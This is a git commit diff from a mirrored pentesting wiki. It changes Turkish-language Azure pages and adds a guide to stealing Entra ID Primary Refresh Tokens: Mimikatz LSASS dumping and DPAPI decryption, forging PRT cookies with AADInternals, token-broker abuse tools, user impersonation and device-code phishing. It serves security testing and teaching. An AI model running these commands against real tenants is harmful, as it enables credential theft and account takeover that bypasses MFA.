mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
+4
-5
@@ -420,6 +420,7 @@
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
||||
- [Az - Defender](pentesting-cloud/azure-security/az-services/az-defender.md)
|
||||
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
|
||||
- [Az - Front Door](pentesting-cloud/azure-security/az-services/az-front-door.md)
|
||||
- [Az - Function Apps](pentesting-cloud/azure-security/az-services/az-function-apps.md)
|
||||
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
|
||||
- [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md)
|
||||
@@ -442,21 +443,19 @@
|
||||
- [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
|
||||
- [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
|
||||
- [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
|
||||
- [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
|
||||
- [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md)
|
||||
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
|
||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
|
||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md)
|
||||
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
|
||||
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
|
||||
- [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
|
||||
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md)
|
||||
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
|
||||
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
|
||||
- [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md)
|
||||
- [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
|
||||
- [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md)
|
||||
- [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md)
|
||||
- [Az - Phishing Primary Refresh Token (Microsoft Entra)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md)
|
||||
- [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md)
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
|
||||
+9
-9
@@ -1,26 +1,26 @@
|
||||
# Az - Sertifikayı Geç
|
||||
# Az - Pass the Certificate
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sertifikayı Geç (Azure)
|
||||
## Pass the Certificate (Azure)
|
||||
|
||||
Azure'a bağlı makinelerde, her iki makine de **NegoEx** kimlik doğrulama mekanizmasını destekliyorsa, bir makineden diğerine **Azure AD CA** tarafından gerekli kullanıcı için (konu olarak) verilmiş sertifikalar kullanılarak kimlik doğrulaması yapmak mümkündür.
|
||||
Azure'a bağlı makinelerde, **Entra ID CA** tarafından gerekli kullanıcı için (konu olarak) verilmiş sertifikalar kullanılarak bir makineden diğerine kimlik doğrulaması yapmak mümkündür; her iki makine de **NegoEx** kimlik doğrulama mekanizmasını destekliyorsa.
|
||||
|
||||
Aşırı basitleştirilmiş terimlerle:
|
||||
|
||||
- Bağlantıyı başlatan makinenin (istemci) **bir kullanıcı için Azure AD'den bir sertifika** alması gerekir.
|
||||
- İstemci, PRT ve diğer ayrıntıları içeren bir JSON Web Token (JWT) başlığı oluşturur, bunu Türev anahtarı ile imzalar (oturum anahtarı ve güvenlik bağlamı kullanarak) ve **Azure AD'ye gönderir**.
|
||||
- Azure AD, istemci oturum anahtarını ve güvenlik bağlamını kullanarak JWT imzasını doğrular, PRT'nin geçerliliğini kontrol eder ve **sertifika** ile **yanıtlar**.
|
||||
- Bağlantıyı başlatan makine (istemci) **bir kullanıcı için Entra ID'den bir sertifika** gerektirir.
|
||||
- İstemci, PRT ve diğer ayrıntıları içeren bir JSON Web Token (JWT) başlığı oluşturur, bunu Türev anahtarı (oturum anahtarı ve güvenlik bağlamı kullanılarak) ile imzalar ve **Entra ID'ye gönderir**.
|
||||
- Entra ID, istemci oturum anahtarı ve güvenlik bağlamını kullanarak JWT imzasını doğrular, PRT'nin geçerliliğini kontrol eder ve **sertifika** ile **yanıtlar**.
|
||||
|
||||
Bu senaryoda ve [**PRT'yi Geç**](pass-the-prt.md) saldırısı için gerekli tüm bilgileri topladıktan sonra:
|
||||
Bu senaryoda ve [**Pass the PRT**](pass-the-prt.md) saldırısı için gerekli tüm bilgileri topladıktan sonra:
|
||||
|
||||
- Kullanıcı adı
|
||||
- Kiracı ID'si
|
||||
- Kiracı ID
|
||||
- PRT
|
||||
- Güvenlik bağlamı
|
||||
- Türev Anahtar
|
||||
|
||||
Kullanıcı için **P2P sertifikası** talep etmek mümkündür, araç [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
|
||||
Kullanıcı için **P2P sertifikası** talep etmek mümkündür; bu işlem için [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
|
||||
```bash
|
||||
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
|
||||
```
|
||||
|
||||
-7
@@ -1,7 +0,0 @@
|
||||
# Az - Phishing Primary Refresh Token (Microsoft Entra)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Kontrol Et:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+251
-1
@@ -2,6 +2,256 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Gönderiyi kontrol edin** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) başka bir gönderi ise [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) adresinde bulunabilir.
|
||||
## Bir Primary Refresh Token (PRT) Nedir?
|
||||
|
||||
Bir **Primary Refresh Token (PRT)**, Azure AD (Entra ID) kimlik doğrulamasında kullanılan uzun ömürlü bir yenileme jetonudur ve Kerberos TGT'ye benzer. Azure AD'ye bağlı bir cihazda kullanıcı girişi yapıldığında verilir ve kimlik bilgilerini tekrar istemeden çeşitli uygulamalar için erişim jetonları talep etmekte kullanılabilir. Her PRT, bir **oturum anahtarı** (aynı zamanda Proof-of-Possession anahtarı olarak da adlandırılır) ile birlikte gelir - istekleri imzalamak ve istemcinin PRT'ye sahip olduğunu kanıtlamak için kullanılan simetrik bir anahtar. PRT'nin kendisi, istemci tarafından okunamayan opak, şifrelenmiş bir blob iken, oturum anahtarı jeton talep ederken PRT'yi içeren bir JWT'yi **imzalamak** için kullanılır. Diğer bir deyişle, yalnızca PRT'ye sahip olmak yeterli değildir; bir saldırganın meşruiyeti kanıtlamak için oturum anahtarına ihtiyacı vardır; bu, kimlik doğrulama için hem Kerberos TGT'ye hem de oturum anahtarına ihtiyaç duymaya benzer.
|
||||
|
||||
Windows'ta, PRT ve oturum anahtarı, CloudAP eklentisi aracılığıyla LSASS sürecinde önbelleğe alınır. Bir cihazda **TPM** (Trusted Platform Module) varsa, Azure AD anahtarları ekstra güvenlik için TPM'ye bağlar. Bu, TPM ile donatılmış cihazlarda oturum anahtarının, normal koşullar altında bellekten doğrudan okunamayacak şekilde TPM içinde saklandığı veya kullanıldığı anlamına gelir. Eğer bir TPM mevcut değilse (örneğin, birçok VM veya eski sistemlerde), anahtarlar yazılımda saklanır ve DPAPI şifrelemesi ile korunur. Her iki durumda da, makinede yönetici ayrıcalıklarına veya kod yürütme yeteneğine sahip bir saldırgan, **PRT ve oturum anahtarını bellekten dökme** girişiminde bulunabilir ve ardından bunları bulutta kullanıcıyı taklit etmek için kullanabilir. Tipik yenileme jetonlarının (genellikle uygulama spesifik olan) aksine, bir PRT daha geniştir ve cihazınızın neredeyse her Entra ID entegre kaynağı veya hizmeti için jeton talep etmesine olanak tanır.
|
||||
|
||||
## PRT Nasıl Çalışır?
|
||||
|
||||
PRT'nin nasıl çalıştığını basit bir şekilde özetleyelim:
|
||||
|
||||
1. **Cihaz Kaydı:**
|
||||
|
||||
- Cihazınız (bir Windows dizüstü bilgisayarı veya mobil telefon gibi) Entra ID'ye katıldığında veya kaydolduğunda, kimlik bilgilerinizi (kullanıcı adı/şifre/MFA) kullanarak kimlik doğrulaması yapar.
|
||||
|
||||
- Başarılı kimlik doğrulamanın ardından, Entra ID, cihazınıza özel olarak bağlanmış bir PRT verir.
|
||||
|
||||
2. **Jeton Depolama:**
|
||||
|
||||
- PRT, cihazınızda güvenli bir şekilde saklanır ve genellikle yetkisiz kişilerin çıkarmasını veya kötüye kullanmasını zorlaştıran Trusted Platform Module (TPM) gibi donanım özellikleriyle korunur.
|
||||
|
||||
3. **Tek Oturum Açma (SSO):**
|
||||
|
||||
- Her seferinde Entra ID korumalı bir uygulamaya (örneğin, Microsoft 365 uygulamaları, SharePoint, Teams) eriştiğinizde, cihazınız sessizce saklanan PRT'yi kullanarak o uygulama için belirli bir erişim jetonu talep eder ve alır.
|
||||
|
||||
- PRT, kimlik doğrulamasını şeffaf bir şekilde yönettiği için kimlik bilgilerinizi tekrar tekrar girmenize gerek yoktur.
|
||||
|
||||
4. **Yenileme ve Güvenlik:**
|
||||
|
||||
- PRT'ler uzun bir ömre sahiptir (genellikle yaklaşık 14 gün), ancak cihazınız aktif olarak kullanıldığı sürece sürekli olarak yenilenir.
|
||||
|
||||
- Cihazınız tehlikeye girerse veya kaybolursa, yöneticiler PRT'nizi uzaktan iptal edebilir ve yetkisiz erişimi hemen engelleyebilir.
|
||||
|
||||
### PRT'ler Neden Güçlüdür?
|
||||
|
||||
- **Evrensel Erişim:** Tipik olarak bir uygulama veya kaynakla sınırlı olan jetonların aksine, bir PRT tüm Entra ID entegre hizmetlerine erişimi kolaylaştırabilir.
|
||||
|
||||
- **Gelişmiş Güvenlik:** Donanım korumaları (TPM gibi) ile birlikte, PRT'ler güvenli jeton depolama ve kullanımını sağlar.
|
||||
|
||||
- **Kullanıcı Deneyimi:** PRT'ler, sık kimlik doğrulama istemlerini azaltarak ve gerçek kesintisiz SSO'yu mümkün kılarak kullanıcı deneyimini önemli ölçüde iyileştirir.
|
||||
|
||||
## Bir PRT'nin mevcut olup olmadığını nasıl anlarız?
|
||||
|
||||
- PRT'nin mevcut olup olmadığını kontrol edin:
|
||||
```bash
|
||||
# Execute
|
||||
dsregcmd /status
|
||||
## Check if the value of AzureAdPrt is set to YES
|
||||
```
|
||||
- TPM ile korunup korunmadığını kontrol et:
|
||||
```bash
|
||||
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
|
||||
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.
|
||||
|
||||
dsregcmd /status
|
||||
# In Device State / WHfB prerequisites you’ll typically see:
|
||||
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
|
||||
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
|
||||
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
|
||||
```
|
||||
## Dump and user unprotected PRTs
|
||||
|
||||
Windows cihazlarda **TPM bağlaması olmadan** [bu gönderiye](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) göre, PRT ve oturum anahtarı LSASS'ta (CloudAP eklentisi) bulunur. O cihazda yerel admin/SYSTEM ile, PRT blob'u ve DPAPI ile şifrelenmiş oturum anahtarı **LSASS'tan okunabilir, oturum anahtarı DPAPI ile çözülerek ve imzalama anahtarı türetilerek** geçerli bir PRT çerezi (`x‑ms‑RefreshTokenCredential`) oluşturulabilir. Hem PRT'ye hem de oturum anahtarına ihtiyacınız var—sadece PRT dizesi yeterli değildir.
|
||||
|
||||
### Mimikatz
|
||||
```bash
|
||||
privilege::debug
|
||||
sekurlsa::cloudap
|
||||
```
|
||||
**PRT alanı**, şifrelenmiş yenileme jetonunu (tipik olarak base64 dizesi) içerir ve ProofOfPossessionKey içindeki KeyValue, DPAPI ile şifrelenmiş oturum anahtarıdır (aynı zamanda base64).
|
||||
|
||||
Daha sonra, **`sekurlsa::cloudap`** çıktısından, `ProofOfPossessionKey` alanındaki **`KeyValue`** içindeki base64 blobunu kopyalayın (bu, DPAPI ile şifrelenmiş oturum anahtarıdır). Bu şifrelenmiş anahtar olduğu gibi kullanılamaz – sistemin DPAPI kimlik bilgileri kullanılarak şifre çözülmelidir.
|
||||
|
||||
Çünkü sistem sırları için DPAPI şifrelemesi, makinenin sistem bağlamını gerektirir, jetonunuzu SYSTEM olarak yükseltin ve Mimikatz’in DPAPI modülünü kullanarak şifreyi çözün:
|
||||
```bash
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
```
|
||||
`token::elevate` SYSTEM'ı taklit edecek ve `dpapi::cloudapkd` komutu `/unprotect` ile sağlanan KeyValue blob'unu çözmek için DPAPI anahtarını kullanacaktır. Bu, açık metin oturum anahtarını ve imzalama için kullanılan ilişkili Türetilmiş Anahtar ve Bağlamı sağlar:
|
||||
- **Açık anahtar** – düz metin olarak 32 baytlık oturum anahtarı (hex dizesi olarak temsil edilir).
|
||||
- **Türetilmiş Anahtar** – oturum anahtarından ve bir bağlam değerinden türetilen 32 baytlık anahtar (bununla ilgili daha fazla bilgi aşağıda).
|
||||
- **Bağlam** – PRT çerezi için imzalama anahtarını türetirken kullanılan 24 baytlık rastgele bağlam.
|
||||
|
||||
> [!NOTE]
|
||||
> Eğer bu, kullanıcıyı taklit etmek için işe yaramıyorsa, **`AADInternals`** kullanarak aşağıdaki bölümü kontrol edin.
|
||||
|
||||
Ardından, geçerli bir PRT çerezi oluşturmak için mimikatz'ı da kullanabilirsiniz:
|
||||
```bash
|
||||
# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
|
||||
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
|
||||
```
|
||||
Mimikatz, "Signature with key" satırından sonra PRT'yi içeren ve türetilmiş anahtar kullanılarak imzalanmış bir JWT (`PRT cookie`) çıktısı verecektir. Bu JWT kopyalanabilir ve bir web oturumunda kullanılabilir. Örneğin, bir saldırgan bir tarayıcı açabilir, `login.microsoftonline.com` adresine gidebilir ve değeri bu JWT olan `x-ms-RefreshTokenCredential` adlı bir çerez ayarlayabilir. Tarayıcı yenilendiğinde veya başka bir sayfaya gittiğinde, Azure AD oturumu kimlik doğrulanmış olarak kabul eder (PRT çerezi SSO gerçekleşmiş gibi sunulur) ve belirtilen kaynak için bir yetkilendirme kodu veya erişim belirteci verir. Pratikte, Office 365 veya Azure portalı gibi bir kaynağa gidilir; geçerli bir PRT çerezinin varlığı, Azure AD'nin ek bir giriş olmadan erişim vereceği anlamına gelir (MFA'yı atlayarak, çünkü PRT zaten kimlik doğrulanmıştır).
|
||||
|
||||
Ayrıca, kullanıcıyı taklit etmek için PRT çerezinin PRT'si ile **`roadtx`** ve **`roadrecon`** kullanılabilir *(TODO: roadtx/roadrecon kullanarak PRT'den kimlik bilgilerini almak için kullanılacak tam komut satırlarını bul)*.
|
||||
|
||||
|
||||
### AADInternals
|
||||
|
||||
**`AADInternals`** PowerShell modülü, daha önce elde edilen PRT ve oturum anahtarı ile geçerli bir PRT belirteci oluşturmak için de kullanılabilir. Bu, Azure AD Graph API veya diğer kaynaklar için erişim belirteçleri almak üzere nonce ile yeni bir PRT belirteci elde etme sürecini otomatikleştirmek için yararlıdır:
|
||||
```bash
|
||||
# Code from https://aadinternals.com/post/prt/
|
||||
# Add the PRT to a variable
|
||||
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"
|
||||
|
||||
# Add padding
|
||||
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}
|
||||
|
||||
# Convert from Base 64
|
||||
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
|
||||
|
||||
# Add the session key (Clear key) to a variable
|
||||
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"
|
||||
|
||||
# Convert to byte array and base 64 encode
|
||||
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))
|
||||
|
||||
# Generate a new PRTToken with nonce
|
||||
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
|
||||
|
||||
# Get an access token for MS Graph API
|
||||
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
|
||||
```
|
||||
This obtains a fresh PRT cookie (with a nonce) and then uses it to fetch an access token for the Azure AD Graph API(demonstrating cloud access on behalf of the user). AADInternals abstracts much of the cryptography and uses Windows components or its own logic under the hood.
|
||||
|
||||
## Korunan PRT'lerin Suistimali
|
||||
|
||||
Bahsedilen korumalara rağmen, bir cihazı (yerel kullanıcı veya hatta SYSTEM olarak) zaten ele geçirmiş bir saldırgan, Windows'un kendi token broker API'lerini ve güvenlik bileşenlerini kullanarak **taze erişim token'ları elde etmek için PRT'yi suistimal edebilir**. Saldırgan, ham PRT veya anahtarı **çıkarmak** yerine, aslında **Windows'tan PRT'yi kendi adına kullanmasını "ister"**. Aşağıdaki bölümlerde, TPM korumalarının geçerli olduğu güncel Windows cihazlarında PRT'leri ve oturum anahtarlarını suistimal etmek için geçerli teknikleri özetliyoruz. Tüm bu teknikler, hedef makinede post-exploitation erişimi varsayar ve **yerleşik kimlik doğrulama akışlarını suistimal etmeye odaklanır** (yamanmamış güvenlik açıklarına ihtiyaç yoktur).
|
||||
|
||||
### Windows Token Broker Mimarisi ve SSO Akışı
|
||||
|
||||
Modern Windows, bulut kimlik doğrulamasını yerleşik bir **token broker** yığını aracılığıyla yönetir; bu, hem kullanıcı modunda hem de LSASS (Yerel Güvenlik Otoritesi) içinde bileşenler içerir. Bu mimarinin ana parçaları şunlardır:
|
||||
|
||||
- **LSASS CloudAP Eklentisi:** Bir cihaz Azure AD'ye katıldığında, LSASS PRT'leri ve token taleplerini yöneten bulut kimlik doğrulama paketlerini (örneğin, `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) yükler. LSASS (SYSTEM olarak çalışan) PRT depolama, yenileme ve kullanımını düzenler ve kriptografik işlemleri gerçekleştirmek için TPM ile etkileşimde bulunur (örneğin, bir PRT zorluğunu oturum anahtarı ile imzalamak).
|
||||
|
||||
- **Web Hesap Yöneticisi (WAM):** Windows Web Hesap Yöneticisi, uygulamaların veya tarayıcıların kimlik bilgilerini istemeden bulut hesapları için token talep etmelerine olanak tanıyan bir kullanıcı modu çerçevesidir (COM/WinRT API'leri aracılığıyla erişilebilir). WAM, kullanıcı uygulamaları ile güvenli LSASS/TPM destekli PRT arasında bir broker olarak işlev görür. Örneğin, Microsoft'un MSAL kütüphanesi ve belirli işletim sistemi bileşenleri, oturum açmış kullanıcının PRT'sini kullanarak sessizce token almak için WAM'ı kullanır.
|
||||
|
||||
- **BrowserCore.exe ve Token Broker COM arayüzleri:** Tarayıcı SSO'su için Windows, **BrowserCore.exe** adında bir bileşen içerir ( *Windows Security\BrowserCore* altında bulunur). Bu, tarayıcılar (Edge, Chrome bir uzantı aracılığıyla vb.) tarafından Azure AD girişi için PRT türetilmiş bir SSO token'ı elde etmek için kullanılan yerel bir mesajlaşma ana bilgisidir. Arka planda, BrowserCore, PRT tabanlı bir çerez/token almak için `MicrosoftAccountTokenProvider.dll` tarafından sağlanan bir COM nesnesini kullanır. Özünde, bu COM arayüzü, kullanıcının geçerli bir PRT'si olduğu sürece, kullanıcı olarak çalışan herhangi bir işlem tarafından çağrılabilen birinci taraf "token broker" API'sidir.
|
||||
|
||||
Bir Azure AD katılımcısı bir kaynağa erişmeye çalıştığında (örneğin, Azure Portal), akış genellikle şöyle olur: bir uygulama WAM veya BrowserCore'un COM arayüzüne çağrıda bulunur, bu da LSASS ile iletişim kurar. LSASS, PRT ve oturum anahtarını (TPM tarafından güvence altına alınmış) kullanarak bir **SSO token'ı** üretir - genellikle **PRT çerezi** olarak adlandırılır - bu daha sonra uygulamaya veya tarayıcıya geri verilir. PRT çerezi, şifrelenmiş PRT ve bir nonce içeren özel bir JWT'dir ve PRT'nin oturum anahtarından türetilen bir anahtarla imzalanır. Bu çerez, cihazın ve kullanıcının geçerli bir PRT'ye sahip olduğunu kanıtlamak için Azure AD'ye (bir `x-ms-RefreshTokenCredential` başlığında) gönderilir ve Azure AD'nin çeşitli uygulamalar için standart OAuth yenileme ve erişim token'ları vermesine olanak tanır. Özellikle, PRT'de bulunan herhangi bir Çok Faktörlü Kimlik Doğrulama (MFA) talebi, bu SSO süreci aracılığıyla elde edilen token'lara taşınır; bu da PRT türetilmiş token'ların MFA korumalı kaynakları karşılayabileceği anlamına gelir.
|
||||
|
||||
### Kullanıcı Düzeyinde Token Hırsızlığı (Yönetici Olmayan)
|
||||
|
||||
Bir saldırgan **kullanıcı düzeyinde kod yürütme** yeteneğine sahip olduğunda, PRT'nin TPM koruması, saldırganın token'ları elde etmesini engellemez. Saldırgan, **yerleşik Windows Token Broker API'lerini kullanır**:
|
||||
|
||||
#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
|
||||
|
||||
BrowserCore, PRT çerezlerini almak için bir COM sınıfı (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) sunar. Bu COM API'si, Azure AD SSO'su için tarayıcılar (Chrome/Edge uzantıları) tarafından meşru bir şekilde çağrılır.
|
||||
|
||||
- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
|
||||
```bash
|
||||
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
|
||||
```
|
||||
*(Azure AD yenileme jetonu veya PRT çerezi döner)*
|
||||
|
||||
- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
|
||||
```bash
|
||||
ROADtoken.exe --nonce <nonce-value>
|
||||
roadrecon auth --prt-cookie <cookie>
|
||||
```
|
||||
*(Nonce oluşturur, PRT çerezini almak için BrowserCore'u çağırır, ardından ROADtools aracılığıyla onu kullanır)*
|
||||
|
||||
|
||||
### **Web Hesap Yöneticisi (WAM) API'leri**
|
||||
|
||||
Saldırganlar, kullanıcı düzeyindeki süreçlerden TPM korumalı PRT'yi kullanarak sessizce token almak için meşru Microsoft kimlik doğrulama kütüphanelerini (**MSAL**, **WAM API'leri**, **WebAuthenticationCoreManager**) kullanır.
|
||||
|
||||
|
||||
- **[aadprt](https://posts.specterops.io/)**
|
||||
```bash
|
||||
execute-assembly aadprt.exe
|
||||
```
|
||||
*(PRT çerezini COM arayüzleri aracılığıyla alır)*
|
||||
|
||||
- **[listwamaccounts](https://posts.specterops.io/)**
|
||||
```bash
|
||||
execute-assembly listwamaccounts.exe
|
||||
```
|
||||
*(WAM aracılığıyla oturum açmış Azure AD hesaplarını listeler; token hedeflerini tanımlar)*
|
||||
|
||||
- **Genel Örnek (MSAL ile PowerShell)**:
|
||||
```powershell
|
||||
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
|
||||
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
|
||||
$result.AccessToken
|
||||
```
|
||||
*(Sessizce PRT'yi kullanarak bir erişim token'ı alır)*
|
||||
|
||||
#### Yönetici / SYSTEM Düzeyinde Token Suistimali
|
||||
|
||||
Eğer saldırgan **Yönetici veya SYSTEM** seviyesine yükselirse, doğrudan herhangi bir Azure AD oturum açmış kullanıcıyı taklit edebilir ve aynı **COM/WAM token broker API'lerini** kullanabilir. TPM korumalı PRT'ler bu meşru token verilmesini engellemez.
|
||||
|
||||
### **Kullanıcı Taklidi ve Token Alma**
|
||||
|
||||
Admin/SYSTEM, token üretimi için BrowserCore veya WAM'ı çağırmak amacıyla diğer kullanıcıların çalışan oturumlarını taklit edebilir.
|
||||
|
||||
Bunun için sadece kullanıcı sürecini taklit edin (örneğin, `explorer.exe`) ve önceki bölümde yorumlanan herhangi bir teknikle token broker API'lerini çağırın.
|
||||
|
||||
### **Doğrudan LSASS & Token Broker Etkileşimi (İleri Düzey)**
|
||||
|
||||
Bir yönetici, PRT'yi suistimal etmek için LSASS ile çalışmaya devam edebilir: örneğin, bir yönetici LSASS'a kod enjekte edebilir veya LSASS'ın bir token üretmesini sağlamak için iç CloudAP fonksiyonlarını çağırabilir. Dirk-jan’ın araştırması, bir yöneticinin “LSASS'taki PRT anahtarlarıyla kripto API'leri kullanarak etkileşimde bulunabileceğini” belirtmiştir. Pratikte, bu, bir PRT çerezi oluşturmak için LSASS'ın kendi fonksiyonlarını (API hooking veya RPC gibi bir teknikle, mevcutsa) kullanmak anlamına gelebilir. Diğer bir yaklaşım, oturum anahtarının bellek içinde görünebileceği herhangi bir pencereyi istismar etmektir – örneğin, PRT yenileme veya cihaz kaydı sırasında, kullanıma sunulmadan önce şifrelenmemişken. Bu tür saldırılar oldukça karmaşık ve durumsaldır. Daha basit bir yönetici taktiği, mevcut token tutucularını veya önbellekleri suistimal etmektir: LSASS, bellek içinde uygulamalar için yakın zamanda verilmiş yenileme token'larını önbelleğe alır (DPAPI ile şifrelenmiş). Kararlı bir SYSTEM saldırgânı, belirli uygulamalar için yenileme token'larını doğrudan çalmak amacıyla bu DPAPI korumalı token'ları çıkarmaya çalışabilir (bir yönetici tarafından elde edilebilen kullanıcının anahtarını kullanarak). Ancak, en kolay ve en genel yöntem, Azure AD'nin taze token'lar (tüm uygun taleplerle) vermesini garanti eden taklit ve belgelenmiş token broker arayüzlerinin kullanımıdır; bu, şifrelemeyi kırmaya çalışmaktan daha etkilidir.
|
||||
|
||||
## PRT'yi Phishing
|
||||
|
||||
**OAuth Cihaz Kodu** akışını **Microsoft Authentication Broker client ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) ve **Cihaz Kaydı Servisi (DRS)** kaynağını kullanarak bir **yenileme token'ı elde etmek için** suistimal edin; bu token, bir **sahte cihaz** kaydedildikten sonra bir **Birincil Yenileme Token'ına (PRT)** yükseltilebilir.
|
||||
|
||||
### **Bunun neden işe yaradığı**
|
||||
|
||||
- **PRT** **cihaz bağlıdır** ve **(neredeyse) her Entra korumalı uygulama için SSO'yu** etkinleştirir.
|
||||
- **Broker client + DRS** kombinasyonu, bir cihaz kaydedildiğinde phishing ile elde edilen **yenileme token'ının** **PRT ile değiştirilmesine** olanak tanır.
|
||||
